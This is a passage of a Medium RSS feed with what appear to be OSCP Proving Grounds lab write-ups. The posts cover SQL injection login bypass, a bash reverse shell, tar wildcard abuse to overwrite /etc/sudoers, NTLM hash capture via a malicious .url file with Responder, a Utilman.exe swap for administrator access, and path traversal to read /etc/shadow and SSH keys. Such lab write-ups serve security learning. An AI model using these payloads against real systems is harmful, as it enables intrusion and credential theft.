anything like that, so this was just a useless warning.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/529/1*ZirUpC0c10Ul9xo64wMJxQ.png" /></figure><p>When entering any thing with a single quotation it shows the error, and reveals that it is using a MySQL Server. It seems that it doesn’t handle single quotation marks well, but it does handle double quotation marks, so our payload can’t involve double quotation marks. I refered to the below after searching ‘MYSQL login authentication bypass github’ :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NysRcjZ3I9727FjnKrX6hQ.png" /></figure><p><a href="https://github.com/fuzzdb-project/fuzzdb/blob/master/attack/sql-injection/exploit/mysql-injection-login-bypass.txt">fuzzdb/attack/sql-injection/exploit/mysql-injection-login-bypass.txt at master · fuzzdb-project/fuzzdb</a></p><p>Payload :</p><pre>admin:&#39;OR &#39;&#39; = &#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/561/1*uQvAut62-1dHQ2AwgfC7GQ.png" /></figure><p>We get access to some passwords! I used a hashes.com to identify that these are actually base64 encodings, and the same website could directly decrypt, so that was very useful haha.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YiB7hohlXpqCAVqKoQdIbg.png" /></figure><p>So now we got two credentials :</p><pre>james:Y2FudHRvdWNoaGh0aGlzc0A0NTUxNTI=:canttouchhhthiss@455152<br>cameron:dGhpc3NjYW50dGJldG91Y2hlZGRANDU1MTUy:thisscanttbetouchedd@455152</pre><p>I tried using them for SSH connection and relogging in to the blaze app but no use.</p><p><strong>PORT 9090</strong></p><p>Opening it, we are greeted with a login page where you can I used James’ login details, and it worked!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M3Z0b2VjYETthos6-5K6RQ.png" /></figure><p>What I found most interesting after crawling through the website was that there was a direct terminal access :0.</p><p>So let’s get a reverse shell :</p><p>Got this from pentestmonkey’s revshelll cheatsheet :</p><pre>bash -i &gt;&amp; /dev/tcp/&lt;ip&gt;/8080 0&gt;&amp;1<br><br>#on kali machine ; <br>nc -lnvp 8080</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/536/1*HaAebTXogH-pATbCpH1k2g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*UWnbw23_wXl959rdCxwpxg.png" /><figcaption>Checking sudo permissions that James have</figcaption></figure><p>I then search tar at the GTFObins library and found this :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8if2QfbXRywt8rOQowhsAQ.png" /></figure><p>It seems that if we are able to manipulate the flags of tar, we can use it to execute /bin/bash which will give us root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*xgV_FKTyoNfkU2l4py5nNA.png" /></figure><p>I tried executing it by creating the second file, but it wouldn’t let me add this file name. So it’s back to searching again.</p><p>Then after searching “exploiting tar sudo privilege escalation”, the top result is this medium article that explains how the wildcard can be manipulated as it takes in every file in the directory. So you could potentially create files that uses tar flags that would then execute a potential malicious file that could help us privilege escalate.</p><p><a href="https://medium.com/@polygonben/linux-privilege-escalation-wildcards-with-tar-f79ab9e407fa">Linux Privilege Escalation: Wildcards with tar</a></p><p>It highlights creating two files that would manipulate the — checkpoint flag in order to execute our final ‘privilege escalator’ script.</p><pre># 1. Create files in the current directory called  <br># &#39;--checkpoint=1&#39; and &#39;--checkpoint-action=exec=sh privesc.sh&#39;  <br>  <br>echo &quot;&quot; &gt; &#39;--checkpoint=1&#39;  <br>echo &quot;&quot; &gt; &#39;--checkpoint-action=exec=sh privesc.sh&#39;  <br>  <br># 2. Create a privesc.sh bash script, that allows for privilege escalation  <br>#malicous.sh:  <br>echo &#39;kali ALL=(root) NOPASSWD: ALL&#39; &gt; /etc/sudoers  <br>  <br>#The above injects an entry into the /etc/sudoers file that allows the &#39;kali&#39;   <br>#user to use sudo without a password for all commands  <br>#NOTE: we could have also used a reverse shell, this would work the same!  <br>#OR: Even more creative, you could&#39;ve used chmod to changes the permissions  <br>#on a binary to have SUID permissions, and PE that way</pre><p>Above is taken from the medium article.</p><p>Since the backup.tar.gz will be executed on the /tmp file, we need to do these commands on the tmp file. this is what your tmp file should look like :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YV60zwa8NwnrRntyH4YIfw.png" /><figcaption>Taken from the blaze web</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/726/1*wECadL517MvmTg9ndxju-A.png" /><figcaption>Don’t forget to give execute permissions to the malicious shell script, then run the privileged tar command.</figcaption></figure><p>We not have access to root without the need of passwords via SUDO.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*UElAam9dd5wCTCldVmjccg.png" /></figure><p><strong>Thank you for reading!</strong></p><p>Learnt a lot from this box, from SQL injection vector for authentication bypass then privilege escalating by manipulating the flags, thought me to research and enumerate more and more!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2d2be64ebfa4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OSCP Proving Grounds | Vault | Hard | Active Directory]]></title>
            <link>https://medium.com/@carlosbudiman/oscp-proving-grounds-vault-hard-active-directory-fb8ae465667a?source=rss-cf690dc9fc87------2</link>
            <guid isPermaLink="false">https://medium.com/p/fb8ae465667a</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[apple of my eye]]></dc:creator>
            <pubDate>Wed, 15 Jan 2025 07:12:49 GMT</pubDate>
            <atom:updated>2025-01-15T07:14:08.994Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*wbWj3mZrGUH8_LB5H3y_mA.png" /></figure><p>Just an normal guy preparing for the OSCP+ Exam :). This is my attempt on the Active Directory machine called Vault, it is rated hard but if I’m being honest, I found it pretty easy-moderate. Maybe because I previously did another box called Heist, which I found more difficult, but had the same privilege escalation vector.</p><p>The hardest part for me was researching the poisoning vector in order to get the initial foothold.</p><p>My second published write up, using this as practice to polish my note taking and story-telling skills.</p><p>This machine was my fourth box on the Active Directory topic, and I think I did a fairly great job in it, so I hope I can share my newbie AD methodology and continue to add more into my methodology.</p><p><strong>Vault | Proving Grounds, Active Directory , Difficulty : Hard</strong></p><p>Kali Machine : 192.168.45.204<br>Target machine : 192.168.186.172</p><p><strong>Enumeration</strong></p><p>github.com/Tib3rius/AutoRecon</p><p>Used autorecon to do an entire enumeration for me, I definitely recommend autorecon since it’s very easy and simple to use.</p><p>I also recommend going through this mindmap cheatsheet, as it definitely helped me with my AD methodology : <a href="https://orange-cyberdefense.github.io/ocd-mindmaps/img/pentest_ad_dark_2023_02.svg">https://orange-cyberdefense.github.io/ocd-mindmaps/img/pentest_ad_dark_2023_02.svg</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jYHszvfj2jiRVKTE5j-BYw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*nrXYLzeN0sRAg3j5VExfow.png" /></figure><p>We know it’s an active directory machine, as it has ports like 389 (LDAP), 445 (SMB), kerberos/kpasswd services (port 88 and 464), and it also mentions the domain dc.vault.offsec.</p><p>Also don’t forget to add the IP and host to your /etc/hosts</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/526/1*lcVJ2ZMluAQzwyWf7-UzEw.png" /></figure><p><strong>PORT 389 | LDAP</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*RPUAVbxf9IGeK8k7EJpPFQ.png" /></figure><pre>ldapsearch -x -H ldap://192.168.186.172 -s base DC=vault,DC=offsec</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*1cqu3SqFT60mEb0Y-082pA.png" /></figure><p>The output, is pretty big but no users were exposed, so not much to see really.</p><p>PORT 445 | SMB</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*9zPewD0uFAkWBgBckG56uw.png" /></figure><p>Used enum4linux to enumerate users, but to no avail.</p><p>Null logins or guest logins are not allowed, but I tried anonymous login and it works.</p><p><a href="https://www.hackingarticles.in/anonymous-logins-for-pentesters/">Anonymous Logins for Pentesters - Hacking Articles</a></p><p>I referred to above to set up my Samba settings for the anonymous login to work. We have access to the folder, DocumentsShare!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/429/1*A6_vbtTIYJADTSNaRI0-Xg.png" /></figure><p>I would then check DocumentsShare as it looked interesting, before checking NETLOGON or SYSVOL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*tJELydL0kHCy9LL05dZGLA.png" /></figure><p>Nothing inside, but tried to put a test txt file to check if upload permissions are allowed. Which works!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*woFfbUDEHLq5LkCYrKuyew.png" /></figure><p>This was where I got stuck, and was kinda confused on how I can get the initial foothold. This involved poisoning attacks in order to steal the NTLM hash which was out of scope for the OSCP (I think…).</p><p><strong>Initial Foothold :.)</strong></p><p>I found a way to poison in order to capture the NTLM hash, here’s one:</p><p><a href="https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/">SMB Share - SCF File Attacks</a></p><p>The above uses a scf file,that the target machine should connect and try to access our machine’s icon so that we can capture the NTLM hash. I tried it but for some reason I couldn’t get it to work so I tried search other ways.</p><p>I found a similar way but with .url instead.</p><p><a href="https://swepstopia.com/url-file-attack/">URL File Attack - Swepstopia</a></p><p>Craft your malicious url file. Here’s mine (change the IP to your kali machine’s):</p><pre>[InternetShortcut]<br>IconFile=\\192.168.45.204\%USERNAME%.icon<br>IconIndex=1</pre><p>Before uploading it, please run reponder in order to capture the hashes :</p><pre>sudo responder -I tun0 -wv</pre><p>Now upload it to DocumentsShare :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/1*kmOL_GJGTaUTCAluScYzJQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JHbAHPfKU1pIIpumRIPS-w.png" /><figcaption>Hashes Appear right after uploading icon.url~!!</figcaption></figure><p>Responder directly catches the hash for the user anirduh.</p><p>Save the hash into a txt file and let’s crack it using hashcat.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*rdmJ4hIlFjZfNNgPPCmyGQ.png" /></figure><pre>anirudh:SecureHM</pre><p>Now it’s time to enumerate the user!</p><pre>crackmapexec winrm 192.168.186.172 -u anirudh -p SecureHM <br><br>crackmapexec smb 192.168.186.172 -u anirudh -p &#39;SecureHM&#39; --shares<br><br>```</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/761/1*TXfHtcT48zK2SFzLOMPzog.png" /></figure><p>Okay , we now know we could use evil-winrm to get a shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*YKhTdoKQADo7btBF1JjrLA.png" /></figure><p>Let’s get a shell now :</p><pre>evil-winrm -i 192.168.186.172 -u anirudh -p &quot;SecureHM&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*0ymWuuOKuRFDw-ZJ71k5Rw.png" /><figcaption>KillExplorer.ps1 hmmmm</figcaption></figure><p>Found an interesting file (KillExplorer.ps1) in the user’s page (P.S. I uploaded winpeas already before screenshotting, it’s not there by default haha).</p><p>So let’s now move to privilege escalation :).</p><p><strong>Privilege Escalation</strong></p><p>WINPEAS</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*BBk_pfOO1UHVGzw7nSsMfA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/1*oqf4H-9BdP9_nSUCiXOpRQ.png" /></figure><p>Here are the users of the local machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*J6KSc4GXAP0lOO7X_psFqw.png" /></figure><p>WINPEAS also found the ‘KillExplorer.ps1’ file interesting.</p><p>Let’s see what permissions the user has :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/417/1*ZEKXSLRTa8MepAnVPiMUGQ.png" /></figure><p>Oh wow, so many PE vectors, I previously did a box called Heist just the day before and the privilege escalation vector was SeRestorePrivilege so I chose to do the same :0, since I’m more comfortable with it, but I’m sure there are other potential vectors.</p><p>I referred to priv2admin (Github) for the privilege escalation methodology via SeRestorePrivilege.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*parf_RrlrXPtdxrNU2BmPg.png" /><figcaption><a href="https://github.com/gtworek/Priv2Admin">https://github.com/gtworek/Priv2Admin</a></figcaption></figure><p>It was so simple all you have to do is go to C:\Windows\system32 and rename replace Utilman.exe to cmd.exe which will allow us to escalate to administrator.</p><pre>cd C:\Windows\system32<br>ren Utilman.exe Utilman.old<br>ren cmd.exe Utilman.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/410/1*U3i3vAtUkxj8e1QGkwR5IQ.png" /></figure><p>now you can just RDP to the machine, then press ‘Win Button + U’ to prompt a terminal that has already been logged on as Administrator.</p><pre>rdesktop &lt;target machine&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*nrwx2hjFLZJLzuTX7Z0R0g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*wrS5f57n2xz-2wQyC6N1Fg.png" /></figure><p><strong>Thank you for reading!</strong></p><p>This box was pretty challenging since I previously on did on box involving Poisoning in order to get the NTLM hash. Took a considerate amount of time to find the exploit that works (Via .url icon file).</p><p>Overall, learn a lot from this box when it comes to enumerating properly when no low hanging fruits from user enumeration is gained and implementing the mind-map better.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fb8ae465667a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OSCP Proving Grounds |Clue | Hard | Linux]]></title>
            <link>https://medium.com/@carlosbudiman/oscp-proving-grounds-clue-hard-linux-63276b88a616?source=rss-cf690dc9fc87------2</link>
            <guid isPermaLink="false">https://medium.com/p/63276b88a616</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[apple of my eye]]></dc:creator>
            <pubDate>Mon, 13 Jan 2025 11:10:09 GMT</pubDate>
            <atom:updated>2025-01-15T06:15:12.445Z</atom:updated>
            <content:encoded><![CDATA[<h3>OSCP Proving Grounds | Clue | Hard</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WmQKX1tY5zrzHFwBVU1hpQ.jpeg" /></figure><p>Just a normal guy preparing for the OSCP+ Exam :). This is my attempt on the hard linux machine called Clue, had to use 2 clues from the Labs Platform, but overall a pretty hard machine.</p><p>My first published write up, using this as practice to polish my note taking skills, for the OSCP+ or future offensive security engagements.</p><p><strong>CLUE | Proving Grounds , Difficulty : Hard</strong></p><p>Target machine : 192.168.165.240<br>My Machine (tun0) : 192.168.45.165, or 192.168.45.204</p><p>Middle of writing this I had to restart my VPN, hence the two possible address.</p><p>Enumerating via Autorecon :.).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DxiafzVD8TcswDLcm3Hmtw.png" /></figure><p>Then run a python server to access the results in a more neat way</p><pre> python3 -m http.server 80</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*yojjERsIX3Mb-WLQZVvjJg.png" /></figure><p>(P.S. for some reason the scan conducted did not found port 445 open which became a roadblock for future fast forwarding.)</p><p><strong>PORT 8021 | Freeswitch</strong></p><p>Found some potential exploits for port 8021, which has a freeswitch service running.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sxiz8Euim4lUrXz9dN5c2Q.png" /></figure><p><strong>PORT 80 | Web app</strong></p><p>Did a gobuster enumeration to find port 80 having a /backup, but is inaccessible from the web.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S75BraKLDWG5nImA6dR0lA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*lwfAhzdn4QTSWTML_QDfQQ.png" /></figure><p><strong>PORT 3000 | Cassandra Web</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vBJ3Yqc2NJzzXZknNYhOfw.png" /></figure><p>Found a cassandra web exploit, which we could definitely use for remote file read.</p><p><a href="https://www.exploit-db.com/exploits/49362">OffSec&#39;s Exploit Database Archive</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*xJHYxkkR1MrfJCt7HpKYNg.png" /></figure><p>Managed to read the /etc/passwd file,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*Pw0qvFAnaAKBhKTsJ1tQkw.png" /></figure><p>The exploitdb exploit page mentions to check this directory for a potential password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/1*XVD93jrUUXEiYFvx9GMg0w.png" /></figure><pre>User Details Gained : <br>cassie:SecondBiteTheApple330</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/1*5ojOs9iqxwp1y50IEYDIyQ.png" /></figure><p>Can’t be used for SSH authentication. Hmmm…..Let’s check the sshd_config file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*qWevijzOCvCqeXW_EoEJyQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/592/1*dnpu3JyF2bMS5ID4vXFYrA.png" /></figure><p>Found out only root and anthony are able to ssh into the box</p><p><strong>Hitting a roadblock…</strong></p><p>At this point, I was confused and stuck on what to do. I did more research on potential freeswitch leaks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*gRWasBEXQmtoxY2mSTy15A.png" /></figure><p>It mentions, that passwords could potentially be leaked in the directory above, so I tried it but it doesn’t work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*EBnw-6B7jWMEO1E7TYY4dg.png" /></figure><p>I was lost so I used the first hint provided in the PG lab.</p><p>But it didn’t work, and I was honestly lost and close to giving up.</p><p>Here’s where I hit a road block, I was confused what I was missing, so I redid my enumeration, this time without autorecon,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/511/1*K_xHrhlHRUcH7rwMNDZnVg.png" /></figure><p>Only found default passwords ‘cluecon’ but didn’t work as well. I was honestly lost and close to giving up.</p><p>Here’s where I hit a road block, I was confused what I was missing, so I redid my enumeration, this time without autorecon,</p><pre>sudo nmap -sV -sC 192.168.120.155</pre><p>Which to my surprise showed me more open ports, Autorecon did not picked up that port 445 (SMB) was open. I have no idea what happened but this really taught me that if I’m stuck I gotta try harder by just enumerating and enumerating again.</p><p>Nmap Result :</p><pre>PORT     STATE SERVICE          VERSION<br>22/tcp   open  ssh              OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)<br>| ssh-hostkey: <br>|   2048 74:ba:20:23:89:92:62:02:9f:e7:3d:3b:83:d4:d9:6c (RSA)<br>|   256 54:8f:79:55:5a:b0:3a:69:5a:d5:72:39:64:fd:07:4e (ECDSA)<br>|_  256 7f:5d:10:27:62:ba:75:e9:bc:c8:4f:e2:72:87:d4:e2 (ED25519)<br>80/tcp   open  http             Apache httpd 2.4.38<br>|_http-title: 403 Forbidden<br>|_http-server-header: Apache/2.4.38 (Debian)<br>139/tcp  open  netbios-ssn      Samba smbd 3.X - 4.X (workgroup: WORKGROUP)<br>445/tcp  open  netbios-ssn      Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)<br>3000/tcp open  http             Thin httpd<br>|_http-title: Cassandra Web<br>|_http-server-header: thin<br>8021/tcp open  freeswitch-event FreeSWITCH mod_event_socket<br>Service Info: Hosts: 127.0SecondBiteTheApple330.0.1, CLUE; OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><p><strong>PORT 445 | SMB</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*-hY0WJqmhOCNgjRbuPboRA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*OWRWG815T_PdM4jnNnD-QA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*3UgbojABDxA56kKuBPvIhg.png" /></figure><p>This could be the directory that port 80 is hosting, since we found the directory called backup from our gobuster enumeration.</p><p>Lets mount the SMB directory to a created directory called backup, so it’s easier to navigate.</p><pre>mount -t cifs //192.168.165.240/backup backup/ -o guest</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*6rMHypzyFfPn9iu_TfzTJA.png" /></figure><p>Found a password finding one liner from some github, in order to find anything related with passwords.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*XTtOatLPlgrplmprS2kNnA.png" /></figure><p>Found the directory that had the default password ‘cluecon’, we’ve tried it and it didn’t work. It had a similar directory ‘../../freeswitch/autoload_configs/event_socket_conf.xml’.</p><p>Above was the directory that the password was found in, it was similar to the directory that was found on the github page. So let’s try directories that may pose a similar pattern! To which it resulted in a new password!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*QH2Z7MgPdgR2lI4kdtrKvA.png" /></figure><p>So now, let’s get to actually exploitting this freeswitch service.</p><p>Googling “Freeswitch exploit” directly results in the exploit below.</p><p><a href="https://www.exploit-db.com/exploits/47799">OffSec&#39;s Exploit Database Archive</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/776/1*mJ38KheGCTxklK66DkiymQ.png" /></figure><p>The exploit defaults to the default password that was also found in the cluecon conference website. It doesn’t work with the default password so we need to try with the actual password.</p><p>So let’s edit the code to use the password that we found.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*dUFmeYel6SxNVPBqQZ4reQ.png" /><figcaption>Editing using mousepad</figcaption></figure><p><strong>Initial Foothold</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*lGxp8govs8YkgzGHWRs0tg.png" /><figcaption>Testing out the exploit by reading etc/passwd</figcaption></figure><p>Time to get a reverse shell!</p><p>on Kali machine :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*eRO55gOL2bfmNJlvvNde_A.png" /></figure><p>Set up listener with the port that casandra web is hosted on.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*C6pdHzcDjMZQT1RcuoX7mw.png" /><figcaption>initial foothold reverse shell.</figcaption></figure><p>Found an interesting key at cassie’s directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/488/1*Ia_RwIRfA1eL0k5Bau-11g.png" /></figure><p>If you remembered, we originally found a password belonging to the user cassie.</p><pre>SecondBiteTheApple330</pre><p>Let’s try su with it. It works! Let’s now read the id_rsa file. Let’s save it somewhere for now.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*TSX92Aw-zlO8MWqjOVBaqQ.png" /></figure><p><strong>Privilege Escalation</strong></p><p>Time to get root access from cassie.</p><pre>sudo -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/1*C5JKXEzgYtVldLdpbzsQSg.png" /></figure><p>We found out that the user cassie can run /usr/local/bin/cassandra-web with elevated purposes, among further research running it means hosting another cassandra-web.</p><p>So let’s run our own cassandra web locally, and do the same remote file read exploit that we did at the start.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A0QKLWCt_16I_XxrqYF83w.png" /></figure><p>I tried opening a python server then transfer the exploit to the target machine, but it wasn’t working for some reason. But after reading the exploit, it’s pretty easy to replicate.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*Y8gVLkqGdsF2kEHNMbJTdw.png" /></figure><p>So it’s just the url + a huge amount of ‘../’, so we can replicate it by doing a GET request using curl. We can achieve it by something like :</p><pre>curl --path-as-is http://0.0.0.0:4444/../../../../../../../../../&lt;file&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/1*VUqcitHbrX7UHEXjA0WIlA.png" /><figcaption>Reading the etc/shadow file!</figcaption></figure><p>Tried getting root’s private key but unable to get it, maybe permissions or not existing. So tried to get Anthony’s private key instead.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/1*gU2q6YM0fiiTbb_Mq2j9Vw.png" /></figure><p><strong>Finally Rooted.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*m5fYYlVAg0dbRETCWmD5Mw.png" /></figure><p>For some reason I tried connecting to anthony via SSH but it didn’t work, but somehow it worked for the user root…</p><p><strong>Thank you for reading!</strong></p><p>This box was pretty hard for me, I don’t think I could’ve gotten it without hints from the PG lab, but I learnt a lot regarding the mindset of enumerating over and over again when hitting a road block.</p><p>I also learnt to find passwords better via bash one liners, and reusing them.</p><p>Most of all this box challenged me to also not fully rely on exploits, but to understand them before running them. Who knows you could just replicate them instead of blindly running them and hoping it could work.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=63276b88a616" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>